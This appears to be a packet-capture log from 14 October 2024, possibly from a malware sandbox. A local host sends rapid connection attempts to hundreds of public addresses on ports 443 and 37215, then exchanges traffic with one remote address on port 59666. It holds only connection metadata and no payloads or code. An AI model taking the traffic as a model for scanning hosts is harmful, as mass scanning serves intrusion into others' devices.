Oct 14, 2024 17:34:10.870191097 CEST	29631	443	192.168.2.14	42.112.17.51
Oct 14, 2024 17:34:10.870183945 CEST	29631	443	192.168.2.14	123.127.117.23
Oct 14, 2024 17:34:10.870192051 CEST	29631	443	192.168.2.14	2.75.59.126
Oct 14, 2024 17:34:10.870184898 CEST	29631	443	192.168.2.14	42.144.80.76
Oct 14, 2024 17:34:10.870193958 CEST	29631	443	192.168.2.14	2.223.62.227
Oct 14, 2024 17:34:10.870193958 CEST	29631	443	192.168.2.14	118.84.75.33
Oct 14, 2024 17:34:10.870193958 CEST	29631	443	192.168.2.14	210.186.150.181
Oct 14, 2024 17:34:10.870193958 CEST	29631	443	192.168.2.14	117.55.151.55
Oct 14, 2024 17:34:10.870213032 CEST	29625	37215	192.168.2.14	41.249.149.171
Oct 14, 2024 17:34:10.870213032 CEST	29631	443	192.168.2.14	210.190.50.221
Oct 14, 2024 17:34:10.870215893 CEST	29631	443	192.168.2.14	109.144.70.152
Oct 14, 2024 17:34:10.870220900 CEST	29631	443	192.168.2.14	123.114.29.1
Oct 14, 2024 17:34:10.870215893 CEST	29631	443	192.168.2.14	37.189.22.106
Oct 14, 2024 17:34:10.870213032 CEST	29631	443	192.168.2.14	118.121.182.90
Oct 14, 2024 17:34:10.870214939 CEST	29631	443	192.168.2.14	210.246.50.61
Oct 14, 2024 17:34:10.870220900 CEST	29631	443	192.168.2.14	148.164.224.46
Oct 14, 2024 17:34:10.870213032 CEST	29625	37215	192.168.2.14	156.62.145.159
Oct 14, 2024 17:34:10.870213032 CEST	29631	443	192.168.2.14	37.84.189.218
Oct 14, 2024 17:34:10.870214939 CEST	29631	443	192.168.2.14	79.14.10.39
Oct 14, 2024 17:34:10.870214939 CEST	29631	443	192.168.2.14	210.25.104.64
Oct 14, 2024 17:34:10.870214939 CEST	29631	443	192.168.2.14	79.108.237.180
Oct 14, 2024 17:34:10.870213032 CEST	29631	443	192.168.2.14	202.250.1.40
Oct 14, 2024 17:34:10.870213032 CEST	29631	443	192.168.2.14	2.56.176.178
Oct 14, 2024 17:34:10.870213032 CEST	29631	443	192.168.2.14	178.144.25.181
Oct 14, 2024 17:34:10.870213032 CEST	29631	443	192.168.2.14	148.35.43.138
Oct 14, 2024 17:34:10.870213032 CEST	29625	37215	192.168.2.14	41.12.120.203
Oct 14, 2024 17:34:10.870213032 CEST	29631	443	192.168.2.14	148.83.212.250
Oct 14, 2024 17:34:10.870213032 CEST	29631	443	192.168.2.14	210.20.121.94
Oct 14, 2024 17:34:10.870234013 CEST	29625	37215	192.168.2.14	41.14.94.120
Oct 14, 2024 17:34:10.870234013 CEST	29631	443	192.168.2.14	79.85.133.144
Oct 14, 2024 17:34:10.870234013 CEST	29631	443	192.168.2.14	109.118.187.202
Oct 14, 2024 17:34:10.870242119 CEST	29631	443	192.168.2.14	148.232.217.31
Oct 14, 2024 17:34:10.870240927 CEST	29631	443	192.168.2.14	117.146.104.69
Oct 14, 2024 17:34:10.870244026 CEST	29631	443	192.168.2.14	37.139.37.75
Oct 14, 2024 17:34:10.870244980 CEST	29631	443	192.168.2.14	123.38.99.118
Oct 14, 2024 17:34:10.870244980 CEST	29625	37215	192.168.2.14	197.238.36.226
Oct 14, 2024 17:34:10.870244026 CEST	29631	443	192.168.2.14	202.186.78.245
Oct 14, 2024 17:34:10.870240927 CEST	29631	443	192.168.2.14	37.134.42.142
Oct 14, 2024 17:34:10.870244980 CEST	29631	443	192.168.2.14	178.77.39.11
Oct 14, 2024 17:34:10.870244026 CEST	29631	443	192.168.2.14	42.94.49.187
Oct 14, 2024 17:34:10.870246887 CEST	29631	443	192.168.2.14	37.224.137.247
Oct 14, 2024 17:34:10.870244980 CEST	29631	443	192.168.2.14	37.235.81.174
Oct 14, 2024 17:34:10.870246887 CEST	29631	443	192.168.2.14	202.31.151.126
Oct 14, 2024 17:34:10.870254040 CEST	29631	443	192.168.2.14	202.141.18.94
Oct 14, 2024 17:34:10.870240927 CEST	29631	443	192.168.2.14	148.39.187.128
Oct 14, 2024 17:34:10.870240927 CEST	29631	443	192.168.2.14	109.167.15.111
Oct 14, 2024 17:34:10.870244026 CEST	29631	443	192.168.2.14	148.254.202.27
Oct 14, 2024 17:34:10.870244026 CEST	29631	443	192.168.2.14	37.139.129.19
Oct 14, 2024 17:34:10.870254040 CEST	29631	443	192.168.2.14	109.98.188.180
Oct 14, 2024 17:34:10.870254040 CEST	29631	443	192.168.2.14	5.49.232.100
Oct 14, 2024 17:34:10.870254040 CEST	29631	443	192.168.2.14	202.120.77.187
Oct 14, 2024 17:34:10.870254040 CEST	29631	443	192.168.2.14	42.147.252.128
Oct 14, 2024 17:34:10.870261908 CEST	29631	443	192.168.2.14	212.199.248.91
Oct 14, 2024 17:34:10.870263100 CEST	29631	443	192.168.2.14	118.174.147.80
Oct 14, 2024 17:34:10.870263100 CEST	29631	443	192.168.2.14	42.48.203.165
Oct 14, 2024 17:34:10.870261908 CEST	29631	443	192.168.2.14	123.204.138.247
Oct 14, 2024 17:34:10.870265007 CEST	29631	443	192.168.2.14	148.28.143.254
Oct 14, 2024 17:34:10.870266914 CEST	29631	443	192.168.2.14	109.134.168.111
Oct 14, 2024 17:34:10.870266914 CEST	29631	443	192.168.2.14	2.173.174.168
Oct 14, 2024 17:34:10.870273113 CEST	29631	443	192.168.2.14	42.28.204.167
Oct 14, 2024 17:34:10.870274067 CEST	29631	443	192.168.2.14	109.18.127.81
Oct 14, 2024 17:34:10.870279074 CEST	29631	443	192.168.2.14	42.94.104.4
Oct 14, 2024 17:34:10.870279074 CEST	29631	443	192.168.2.14	212.28.26.125
Oct 14, 2024 17:34:10.870282888 CEST	29631	443	192.168.2.14	2.190.31.184
Oct 14, 2024 17:34:10.870282888 CEST	29631	443	192.168.2.14	79.101.209.216
Oct 14, 2024 17:34:10.870290041 CEST	29631	443	192.168.2.14	178.98.153.214
Oct 14, 2024 17:34:10.870292902 CEST	29631	443	192.168.2.14	37.172.22.125
Oct 14, 2024 17:34:10.870313883 CEST	29631	443	192.168.2.14	5.179.84.9
Oct 14, 2024 17:34:10.870318890 CEST	29631	443	192.168.2.14	178.147.197.147
Oct 14, 2024 17:34:10.870325089 CEST	29631	443	192.168.2.14	109.35.191.244
Oct 14, 2024 17:34:10.870326996 CEST	29631	443	192.168.2.14	118.79.189.39
Oct 14, 2024 17:34:10.870328903 CEST	29631	443	192.168.2.14	178.126.24.97
Oct 14, 2024 17:34:10.870328903 CEST	29631	443	192.168.2.14	212.253.170.70
Oct 14, 2024 17:34:10.870328903 CEST	29631	443	192.168.2.14	79.141.61.238
Oct 14, 2024 17:34:10.870335102 CEST	29631	443	192.168.2.14	109.97.176.77
Oct 14, 2024 17:34:10.870345116 CEST	29631	443	192.168.2.14	79.201.128.194
Oct 14, 2024 17:34:10.870353937 CEST	29631	443	192.168.2.14	178.190.141.108
Oct 14, 2024 17:34:10.870357037 CEST	29631	443	192.168.2.14	202.157.69.130
Oct 14, 2024 17:34:10.870363951 CEST	29631	443	192.168.2.14	117.222.200.35
Oct 14, 2024 17:34:10.870366096 CEST	29631	443	192.168.2.14	94.17.141.251
Oct 14, 2024 17:34:10.870371103 CEST	29631	443	192.168.2.14	42.165.34.239
Oct 14, 2024 17:34:10.870373011 CEST	29631	443	192.168.2.14	94.207.166.169
Oct 14, 2024 17:34:10.870383024 CEST	29631	443	192.168.2.14	109.115.67.46
Oct 14, 2024 17:34:10.870393038 CEST	29631	443	192.168.2.14	37.229.198.145
Oct 14, 2024 17:34:10.870398998 CEST	29631	443	192.168.2.14	109.25.216.109
Oct 14, 2024 17:34:10.870409012 CEST	29631	443	192.168.2.14	210.213.0.165
Oct 14, 2024 17:34:10.870410919 CEST	29631	443	192.168.2.14	212.21.46.144
Oct 14, 2024 17:34:10.870410919 CEST	29631	443	192.168.2.14	79.63.145.18
Oct 14, 2024 17:34:10.870410919 CEST	29631	443	192.168.2.14	148.139.122.98
Oct 14, 2024 17:34:10.870417118 CEST	29631	443	192.168.2.14	37.190.206.111
Oct 14, 2024 17:34:10.870445967 CEST	29631	443	192.168.2.14	118.185.96.208
Oct 14, 2024 17:34:10.870456934 CEST	29631	443	192.168.2.14	123.75.214.244
Oct 14, 2024 17:34:10.870469093 CEST	29631	443	192.168.2.14	202.28.18.219
Oct 14, 2024 17:34:10.870470047 CEST	29631	443	192.168.2.14	210.143.190.222
Oct 14, 2024 17:34:10.870470047 CEST	29631	443	192.168.2.14	210.201.211.99
Oct 14, 2024 17:34:10.870474100 CEST	29631	443	192.168.2.14	5.199.108.77
Oct 14, 2024 17:34:10.870474100 CEST	29631	443	192.168.2.14	148.30.13.35
Oct 14, 2024 17:34:10.870486975 CEST	29631	443	192.168.2.14	117.50.70.143
Oct 14, 2024 17:34:10.870486975 CEST	29631	443	192.168.2.14	37.136.131.214
Oct 14, 2024 17:34:10.870487928 CEST	29631	443	192.168.2.14	210.182.49.30
Oct 14, 2024 17:34:10.870487928 CEST	29631	443	192.168.2.14	117.76.231.105
Oct 14, 2024 17:34:10.870513916 CEST	29631	443	192.168.2.14	148.58.30.208
Oct 14, 2024 17:34:10.870513916 CEST	29631	443	192.168.2.14	79.78.197.81
Oct 14, 2024 17:34:10.870513916 CEST	29631	443	192.168.2.14	109.131.98.70
Oct 14, 2024 17:34:10.870518923 CEST	29631	443	192.168.2.14	79.169.165.208
Oct 14, 2024 17:34:10.870527029 CEST	29631	443	192.168.2.14	118.125.67.63
Oct 14, 2024 17:34:10.870533943 CEST	29631	443	192.168.2.14	212.130.53.191
Oct 14, 2024 17:34:10.870533943 CEST	29631	443	192.168.2.14	118.51.52.172
Oct 14, 2024 17:34:10.870533943 CEST	29631	443	192.168.2.14	42.158.141.55
Oct 14, 2024 17:34:10.870544910 CEST	29631	443	192.168.2.14	178.160.33.253
Oct 14, 2024 17:34:10.870546103 CEST	29631	443	192.168.2.14	202.16.205.92
Oct 14, 2024 17:34:10.870553017 CEST	29631	443	192.168.2.14	37.85.173.44
Oct 14, 2024 17:34:10.870560884 CEST	29631	443	192.168.2.14	117.221.180.80
Oct 14, 2024 17:34:10.870562077 CEST	29631	443	192.168.2.14	94.4.82.185
Oct 14, 2024 17:34:10.870565891 CEST	29631	443	192.168.2.14	118.85.252.99
Oct 14, 2024 17:34:10.870565891 CEST	29631	443	192.168.2.14	5.167.73.61
Oct 14, 2024 17:34:10.870565891 CEST	29631	443	192.168.2.14	210.102.13.76
Oct 14, 2024 17:34:10.870568991 CEST	29631	443	192.168.2.14	117.250.142.197
Oct 14, 2024 17:34:10.870568991 CEST	29631	443	192.168.2.14	5.234.242.32
Oct 14, 2024 17:34:10.870569944 CEST	29631	443	192.168.2.14	210.32.125.85
Oct 14, 2024 17:34:10.870570898 CEST	29631	443	192.168.2.14	117.140.145.206
Oct 14, 2024 17:34:10.870570898 CEST	29631	443	192.168.2.14	37.199.15.180
Oct 14, 2024 17:34:10.870572090 CEST	29631	443	192.168.2.14	109.118.137.9
Oct 14, 2024 17:34:10.870575905 CEST	29631	443	192.168.2.14	2.247.251.212
Oct 14, 2024 17:34:10.870615005 CEST	29631	443	192.168.2.14	2.213.92.178
Oct 14, 2024 17:34:10.870615005 CEST	29631	443	192.168.2.14	148.104.60.255
Oct 14, 2024 17:34:10.870615005 CEST	29631	443	192.168.2.14	178.210.220.153
Oct 14, 2024 17:34:10.870615959 CEST	29631	443	192.168.2.14	109.209.140.246
Oct 14, 2024 17:34:10.870615005 CEST	29631	443	192.168.2.14	37.105.205.117
Oct 14, 2024 17:34:10.870615959 CEST	29631	443	192.168.2.14	118.69.148.33
Oct 14, 2024 17:34:10.870618105 CEST	29631	443	192.168.2.14	118.44.119.142
Oct 14, 2024 17:34:10.870616913 CEST	29631	443	192.168.2.14	118.203.147.126
Oct 14, 2024 17:34:10.870618105 CEST	29631	443	192.168.2.14	117.178.42.163
Oct 14, 2024 17:34:10.870615959 CEST	29631	443	192.168.2.14	123.128.44.252
Oct 14, 2024 17:34:10.870619059 CEST	29631	443	192.168.2.14	5.58.7.119
Oct 14, 2024 17:34:10.870619059 CEST	29631	443	192.168.2.14	2.109.67.141
Oct 14, 2024 17:34:10.870619059 CEST	29631	443	192.168.2.14	5.147.158.159
Oct 14, 2024 17:34:10.870623112 CEST	29631	443	192.168.2.14	2.55.65.101
Oct 14, 2024 17:34:10.870623112 CEST	29631	443	192.168.2.14	42.111.149.182
Oct 14, 2024 17:34:10.870623112 CEST	29631	443	192.168.2.14	212.245.225.48
Oct 14, 2024 17:34:10.870623112 CEST	29631	443	192.168.2.14	94.183.96.84
Oct 14, 2024 17:34:10.870623112 CEST	29631	443	192.168.2.14	117.151.117.252
Oct 14, 2024 17:34:10.870634079 CEST	29631	443	192.168.2.14	94.178.54.232
Oct 14, 2024 17:34:10.870639086 CEST	29631	443	192.168.2.14	118.225.109.255
Oct 14, 2024 17:34:10.870639086 CEST	29631	443	192.168.2.14	94.60.199.0
Oct 14, 2024 17:34:10.870639086 CEST	29631	443	192.168.2.14	94.38.7.18
Oct 14, 2024 17:34:10.870651007 CEST	29631	443	192.168.2.14	79.114.95.77
Oct 14, 2024 17:34:10.870651007 CEST	29631	443	192.168.2.14	118.252.167.167
Oct 14, 2024 17:34:10.870651007 CEST	29631	443	192.168.2.14	109.47.103.75
Oct 14, 2024 17:34:10.870652914 CEST	29631	443	192.168.2.14	148.160.110.50
Oct 14, 2024 17:34:10.870652914 CEST	29631	443	192.168.2.14	42.191.103.61
Oct 14, 2024 17:34:10.870655060 CEST	29631	443	192.168.2.14	178.193.162.157
Oct 14, 2024 17:34:10.870651007 CEST	29631	443	192.168.2.14	37.7.41.72
Oct 14, 2024 17:34:10.870655060 CEST	29631	443	192.168.2.14	212.196.82.135
Oct 14, 2024 17:34:10.870652914 CEST	29631	443	192.168.2.14	212.88.191.15
Oct 14, 2024 17:34:10.870655060 CEST	29631	443	192.168.2.14	212.73.113.11
Oct 14, 2024 17:34:10.870652914 CEST	29631	443	192.168.2.14	94.221.148.51
Oct 14, 2024 17:34:10.870652914 CEST	29631	443	192.168.2.14	109.148.172.2
Oct 14, 2024 17:34:10.870660067 CEST	29631	443	192.168.2.14	212.163.196.111
Oct 14, 2024 17:34:10.870652914 CEST	29631	443	192.168.2.14	210.86.136.82
Oct 14, 2024 17:34:10.870661020 CEST	29631	443	192.168.2.14	94.177.26.169
Oct 14, 2024 17:34:10.870661020 CEST	29631	443	192.168.2.14	212.14.103.213
Oct 14, 2024 17:34:10.870661020 CEST	29631	443	192.168.2.14	202.103.116.183
Oct 14, 2024 17:34:10.870681047 CEST	29631	443	192.168.2.14	5.166.181.212
Oct 14, 2024 17:34:10.870681047 CEST	29631	443	192.168.2.14	5.218.225.150
Oct 14, 2024 17:34:10.870681047 CEST	29631	443	192.168.2.14	212.5.213.90
Oct 14, 2024 17:34:10.870681047 CEST	29631	443	192.168.2.14	178.128.107.126
Oct 14, 2024 17:34:10.870681047 CEST	29631	443	192.168.2.14	210.31.205.172
Oct 14, 2024 17:34:10.870697021 CEST	29631	443	192.168.2.14	109.253.121.16
Oct 14, 2024 17:34:10.870697021 CEST	29631	443	192.168.2.14	202.20.56.207
Oct 14, 2024 17:34:10.870698929 CEST	29631	443	192.168.2.14	210.26.49.3
Oct 14, 2024 17:34:10.870697021 CEST	29631	443	192.168.2.14	94.150.56.113
Oct 14, 2024 17:34:10.870697021 CEST	29631	443	192.168.2.14	42.134.113.180
Oct 14, 2024 17:34:10.870701075 CEST	29631	443	192.168.2.14	2.152.186.85
Oct 14, 2024 17:34:10.870701075 CEST	29631	443	192.168.2.14	118.178.68.24
Oct 14, 2024 17:34:10.870701075 CEST	29631	443	192.168.2.14	79.58.174.89
Oct 14, 2024 17:34:10.870706081 CEST	29631	443	192.168.2.14	210.18.240.225
Oct 14, 2024 17:34:10.870706081 CEST	29631	443	192.168.2.14	109.241.182.96
Oct 14, 2024 17:34:10.870706081 CEST	29631	443	192.168.2.14	118.171.75.61
Oct 14, 2024 17:34:10.870707035 CEST	29631	443	192.168.2.14	79.119.180.152
Oct 14, 2024 17:34:10.870706081 CEST	29631	443	192.168.2.14	37.249.50.161
Oct 14, 2024 17:34:10.870708942 CEST	29631	443	192.168.2.14	37.184.39.254
Oct 14, 2024 17:34:10.870708942 CEST	29631	443	192.168.2.14	2.216.141.167
Oct 14, 2024 17:34:10.870743990 CEST	29631	443	192.168.2.14	5.234.180.241
Oct 14, 2024 17:34:10.870743990 CEST	29631	443	192.168.2.14	178.51.14.29
Oct 14, 2024 17:34:10.870744944 CEST	29631	443	192.168.2.14	148.234.240.44
Oct 14, 2024 17:34:10.870744944 CEST	29631	443	192.168.2.14	178.164.80.96
Oct 14, 2024 17:34:10.870744944 CEST	29631	443	192.168.2.14	5.148.30.47
Oct 14, 2024 17:34:10.870744944 CEST	29631	443	192.168.2.14	148.164.213.109
Oct 14, 2024 17:34:10.870745897 CEST	29631	443	192.168.2.14	94.203.120.236
Oct 14, 2024 17:34:10.870745897 CEST	29631	443	192.168.2.14	37.210.177.167
Oct 14, 2024 17:34:10.870743990 CEST	29631	443	192.168.2.14	148.17.148.20
Oct 14, 2024 17:34:10.870745897 CEST	29631	443	192.168.2.14	202.150.91.79
Oct 14, 2024 17:34:10.870745897 CEST	29631	443	192.168.2.14	109.10.61.223
Oct 14, 2024 17:34:10.870745897 CEST	29631	443	192.168.2.14	5.112.195.100
Oct 14, 2024 17:34:10.870745897 CEST	29631	443	192.168.2.14	79.2.248.180
Oct 14, 2024 17:34:10.870745897 CEST	29631	443	192.168.2.14	118.77.200.141
Oct 14, 2024 17:34:10.870745897 CEST	29631	443	192.168.2.14	5.132.53.249
Oct 14, 2024 17:34:10.870744944 CEST	29631	443	192.168.2.14	202.37.90.208
Oct 14, 2024 17:34:10.870745897 CEST	29631	443	192.168.2.14	37.111.45.116
Oct 14, 2024 17:34:10.870745897 CEST	29631	443	192.168.2.14	37.34.38.112
Oct 14, 2024 17:34:10.870744944 CEST	29631	443	192.168.2.14	210.233.165.178
Oct 14, 2024 17:34:10.870745897 CEST	29631	443	192.168.2.14	79.242.77.70
Oct 14, 2024 17:34:10.870743990 CEST	29631	443	192.168.2.14	178.79.115.238
Oct 14, 2024 17:34:10.870745897 CEST	29631	443	192.168.2.14	118.57.246.119
Oct 14, 2024 17:34:10.870743990 CEST	29631	443	192.168.2.14	202.240.67.89
Oct 14, 2024 17:34:10.870745897 CEST	29631	443	192.168.2.14	117.12.210.161
Oct 14, 2024 17:34:10.870743990 CEST	29631	443	192.168.2.14	5.46.8.35
Oct 14, 2024 17:34:10.870745897 CEST	29631	443	192.168.2.14	210.196.58.133
Oct 14, 2024 17:34:10.870745897 CEST	29631	443	192.168.2.14	117.12.14.62
Oct 14, 2024 17:34:10.870743990 CEST	29631	443	192.168.2.14	210.80.234.144
Oct 14, 2024 17:34:10.870770931 CEST	29631	443	192.168.2.14	123.118.45.236
Oct 14, 2024 17:34:10.870770931 CEST	29631	443	192.168.2.14	42.241.150.110
Oct 14, 2024 17:34:10.870770931 CEST	29631	443	192.168.2.14	109.209.202.205
Oct 14, 2024 17:34:10.870770931 CEST	29631	443	192.168.2.14	123.81.94.132
Oct 14, 2024 17:34:10.870770931 CEST	29631	443	192.168.2.14	148.183.246.15
Oct 14, 2024 17:34:10.870770931 CEST	29631	443	192.168.2.14	2.65.253.239
Oct 14, 2024 17:34:10.870774031 CEST	29631	443	192.168.2.14	37.51.39.227
Oct 14, 2024 17:34:10.870774031 CEST	29631	443	192.168.2.14	2.17.61.48
Oct 14, 2024 17:34:10.870775938 CEST	29631	443	192.168.2.14	118.255.123.165
Oct 14, 2024 17:34:10.870775938 CEST	29631	443	192.168.2.14	178.238.185.226
Oct 14, 2024 17:34:10.870776892 CEST	29631	443	192.168.2.14	109.80.15.21
Oct 14, 2024 17:34:10.870775938 CEST	29631	443	192.168.2.14	123.2.192.238
Oct 14, 2024 17:34:10.870778084 CEST	29631	443	192.168.2.14	42.86.205.12
Oct 14, 2024 17:34:10.870779991 CEST	29631	443	192.168.2.14	212.237.134.188
Oct 14, 2024 17:34:10.870775938 CEST	29631	443	192.168.2.14	2.52.55.108
Oct 14, 2024 17:34:10.870776892 CEST	29631	443	192.168.2.14	5.48.155.237
Oct 14, 2024 17:34:10.870779991 CEST	29631	443	192.168.2.14	210.71.17.195
Oct 14, 2024 17:34:10.870776892 CEST	29631	443	192.168.2.14	5.66.151.47
Oct 14, 2024 17:34:10.870779991 CEST	29631	443	192.168.2.14	212.136.251.54
Oct 14, 2024 17:34:10.870775938 CEST	29631	443	192.168.2.14	94.108.19.16
Oct 14, 2024 17:34:10.870775938 CEST	29631	443	192.168.2.14	94.48.58.86
Oct 14, 2024 17:34:10.870776892 CEST	29631	443	192.168.2.14	178.210.14.226
Oct 14, 2024 17:34:10.870779991 CEST	29631	443	192.168.2.14	178.0.55.100
Oct 14, 2024 17:34:10.870775938 CEST	29631	443	192.168.2.14	109.49.37.152
Oct 14, 2024 17:34:10.870776892 CEST	29631	443	192.168.2.14	5.14.61.190
Oct 14, 2024 17:34:10.870775938 CEST	29631	443	192.168.2.14	37.255.171.30
Oct 14, 2024 17:34:10.870779991 CEST	29631	443	192.168.2.14	123.248.205.140
Oct 14, 2024 17:34:10.870775938 CEST	29631	443	192.168.2.14	123.151.255.97
Oct 14, 2024 17:34:10.870776892 CEST	29631	443	192.168.2.14	109.131.47.234
Oct 14, 2024 17:34:10.870775938 CEST	29631	443	192.168.2.14	202.0.70.15
Oct 14, 2024 17:34:10.870800972 CEST	29631	443	192.168.2.14	109.78.161.149
Oct 14, 2024 17:34:10.870800972 CEST	29631	443	192.168.2.14	37.104.151.39
Oct 14, 2024 17:34:10.870800972 CEST	29631	443	192.168.2.14	210.200.64.118
Oct 14, 2024 17:34:10.870803118 CEST	29631	443	192.168.2.14	37.116.204.227
Oct 14, 2024 17:34:10.870800972 CEST	29631	443	192.168.2.14	210.50.114.147
Oct 14, 2024 17:34:10.870805979 CEST	29631	443	192.168.2.14	117.230.117.72
Oct 14, 2024 17:34:10.870805979 CEST	29631	443	192.168.2.14	2.203.157.100
Oct 14, 2024 17:34:10.870805979 CEST	29631	443	192.168.2.14	42.43.114.156
Oct 14, 2024 17:34:10.870807886 CEST	29631	443	192.168.2.14	37.57.202.5
Oct 14, 2024 17:34:10.870807886 CEST	29631	443	192.168.2.14	178.250.167.128
Oct 14, 2024 17:34:10.870807886 CEST	29631	443	192.168.2.14	212.184.78.76
Oct 14, 2024 17:34:10.870810032 CEST	29631	443	192.168.2.14	210.70.38.56
Oct 14, 2024 17:34:10.870807886 CEST	29631	443	192.168.2.14	202.86.215.4
Oct 14, 2024 17:34:10.870811939 CEST	29631	443	192.168.2.14	117.251.22.135
Oct 14, 2024 17:34:10.870811939 CEST	29631	443	192.168.2.14	178.100.179.249
Oct 14, 2024 17:34:10.870810986 CEST	29631	443	192.168.2.14	42.73.179.201
Oct 14, 2024 17:34:10.870811939 CEST	29631	443	192.168.2.14	210.27.226.161
Oct 14, 2024 17:34:10.870816946 CEST	29631	443	192.168.2.14	210.207.58.170
Oct 14, 2024 17:34:10.870810032 CEST	29631	443	192.168.2.14	2.121.5.168
Oct 14, 2024 17:34:10.870816946 CEST	29631	443	192.168.2.14	109.15.127.223
Oct 14, 2024 17:34:10.870810032 CEST	29631	443	192.168.2.14	178.103.252.88
Oct 14, 2024 17:34:10.870816946 CEST	29631	443	192.168.2.14	94.237.241.145
Oct 14, 2024 17:34:10.870816946 CEST	29631	443	192.168.2.14	5.137.127.114
Oct 14, 2024 17:34:10.870816946 CEST	29631	443	192.168.2.14	94.45.58.79
Oct 14, 2024 17:34:10.870816946 CEST	29631	443	192.168.2.14	2.196.91.243
Oct 14, 2024 17:34:10.870816946 CEST	29631	443	192.168.2.14	79.255.199.112
Oct 14, 2024 17:34:10.870816946 CEST	29631	443	192.168.2.14	42.102.78.42
Oct 14, 2024 17:34:10.870824099 CEST	29631	443	192.168.2.14	118.164.133.182
Oct 14, 2024 17:34:10.870824099 CEST	29631	443	192.168.2.14	202.17.140.129
Oct 14, 2024 17:34:10.870837927 CEST	29631	443	192.168.2.14	210.40.249.194
Oct 14, 2024 17:34:10.870840073 CEST	29631	443	192.168.2.14	2.167.227.152
Oct 14, 2024 17:34:10.870840073 CEST	29631	443	192.168.2.14	37.98.104.64
Oct 14, 2024 17:34:10.870840073 CEST	29631	443	192.168.2.14	117.111.254.216
Oct 14, 2024 17:34:10.870840073 CEST	29631	443	192.168.2.14	5.3.100.44
Oct 14, 2024 17:34:10.870841980 CEST	29631	443	192.168.2.14	118.199.179.159
Oct 14, 2024 17:34:10.870840073 CEST	29631	443	192.168.2.14	42.64.94.163
Oct 14, 2024 17:34:10.870840073 CEST	29631	443	192.168.2.14	5.247.213.234
Oct 14, 2024 17:34:10.870840073 CEST	29631	443	192.168.2.14	148.42.144.68
Oct 14, 2024 17:34:10.870840073 CEST	29631	443	192.168.2.14	79.23.169.43
Oct 14, 2024 17:34:10.870863914 CEST	29631	443	192.168.2.14	5.238.216.236
Oct 14, 2024 17:34:10.870865107 CEST	29631	443	192.168.2.14	94.134.163.204
Oct 14, 2024 17:34:10.870865107 CEST	29631	443	192.168.2.14	202.224.58.156
Oct 14, 2024 17:34:10.870865107 CEST	29631	443	192.168.2.14	5.252.11.1
Oct 14, 2024 17:34:10.870866060 CEST	29631	443	192.168.2.14	178.163.78.121
Oct 14, 2024 17:34:10.870867968 CEST	29631	443	192.168.2.14	42.183.167.67
Oct 14, 2024 17:34:10.870867968 CEST	29631	443	192.168.2.14	178.78.94.86
Oct 14, 2024 17:34:10.870867968 CEST	29631	443	192.168.2.14	79.21.32.32
Oct 14, 2024 17:34:10.870867968 CEST	29631	443	192.168.2.14	178.118.63.183
Oct 14, 2024 17:34:10.870868921 CEST	29631	443	192.168.2.14	2.127.120.134
Oct 14, 2024 17:34:10.870867968 CEST	29631	443	192.168.2.14	148.61.89.11
Oct 14, 2024 17:34:10.870868921 CEST	29631	443	192.168.2.14	202.170.115.182
Oct 14, 2024 17:34:10.870872021 CEST	29631	443	192.168.2.14	212.68.61.108
Oct 14, 2024 17:34:10.870868921 CEST	29631	443	192.168.2.14	123.178.50.255
Oct 14, 2024 17:34:10.870868921 CEST	29631	443	192.168.2.14	123.46.185.203
Oct 14, 2024 17:34:10.870872021 CEST	29631	443	192.168.2.14	210.205.62.1
Oct 14, 2024 17:34:10.870868921 CEST	29631	443	192.168.2.14	212.52.67.252
Oct 14, 2024 17:34:10.870872021 CEST	29631	443	192.168.2.14	109.83.42.33
Oct 14, 2024 17:34:10.870872021 CEST	29631	443	192.168.2.14	37.19.114.45
Oct 14, 2024 17:34:10.870882034 CEST	29631	443	192.168.2.14	42.119.65.16
Oct 14, 2024 17:34:10.870882034 CEST	29631	443	192.168.2.14	109.206.142.75
Oct 14, 2024 17:34:10.870882034 CEST	29631	443	192.168.2.14	5.155.71.145
Oct 14, 2024 17:34:10.870882034 CEST	29631	443	192.168.2.14	79.195.85.80
Oct 14, 2024 17:34:10.870896101 CEST	29631	443	192.168.2.14	118.228.60.8
Oct 14, 2024 17:34:10.870896101 CEST	29631	443	192.168.2.14	79.187.116.5
Oct 14, 2024 17:34:10.870896101 CEST	29631	443	192.168.2.14	148.146.107.173
Oct 14, 2024 17:34:10.870897055 CEST	29631	443	192.168.2.14	42.25.141.248
Oct 14, 2024 17:34:10.870897055 CEST	29631	443	192.168.2.14	210.29.25.85
Oct 14, 2024 17:34:10.870897055 CEST	29631	443	192.168.2.14	109.31.94.171
Oct 14, 2024 17:34:10.870897055 CEST	29631	443	192.168.2.14	109.100.38.252
Oct 14, 2024 17:34:10.870897055 CEST	29631	443	192.168.2.14	117.57.66.116
Oct 14, 2024 17:34:10.870898962 CEST	29631	443	192.168.2.14	118.209.76.38
Oct 14, 2024 17:34:10.870898962 CEST	29631	443	192.168.2.14	178.201.243.246
Oct 14, 2024 17:34:10.870898962 CEST	29631	443	192.168.2.14	117.217.175.189
Oct 14, 2024 17:34:10.870898962 CEST	29631	443	192.168.2.14	42.74.26.26
Oct 14, 2024 17:34:10.870898962 CEST	29631	443	192.168.2.14	42.157.191.123
Oct 14, 2024 17:34:10.870899916 CEST	29631	443	192.168.2.14	148.163.205.23
Oct 14, 2024 17:34:10.870899916 CEST	29631	443	192.168.2.14	148.117.160.52
Oct 14, 2024 17:34:10.870899916 CEST	29631	443	192.168.2.14	148.6.39.104
Oct 14, 2024 17:34:10.870908022 CEST	29631	443	192.168.2.14	123.87.21.239
Oct 14, 2024 17:34:10.870909929 CEST	29631	443	192.168.2.14	94.85.81.130
Oct 14, 2024 17:34:10.870909929 CEST	29631	443	192.168.2.14	2.186.46.75
Oct 14, 2024 17:34:10.870910883 CEST	29631	443	192.168.2.14	118.108.210.112
Oct 14, 2024 17:34:10.870910883 CEST	29631	443	192.168.2.14	210.130.2.8
Oct 14, 2024 17:34:10.870910883 CEST	29631	443	192.168.2.14	42.245.37.136
Oct 14, 2024 17:34:10.870910883 CEST	29631	443	192.168.2.14	123.64.104.195
Oct 14, 2024 17:34:10.870910883 CEST	29631	443	192.168.2.14	5.103.161.36
Oct 14, 2024 17:34:10.870910883 CEST	29631	443	192.168.2.14	118.71.111.250
Oct 14, 2024 17:34:10.889986038 CEST	48902	59666	192.168.2.14	104.248.138.112
Oct 14, 2024 17:34:10.894970894 CEST	59666	48902	104.248.138.112	192.168.2.14
Oct 14, 2024 17:34:10.895047903 CEST	48902	59666	192.168.2.14	104.248.138.112
Oct 14, 2024 17:34:10.909682989 CEST	48902	59666	192.168.2.14	104.248.138.112
Oct 14, 2024 17:34:10.914645910 CEST	59666	48902	104.248.138.112	192.168.2.14
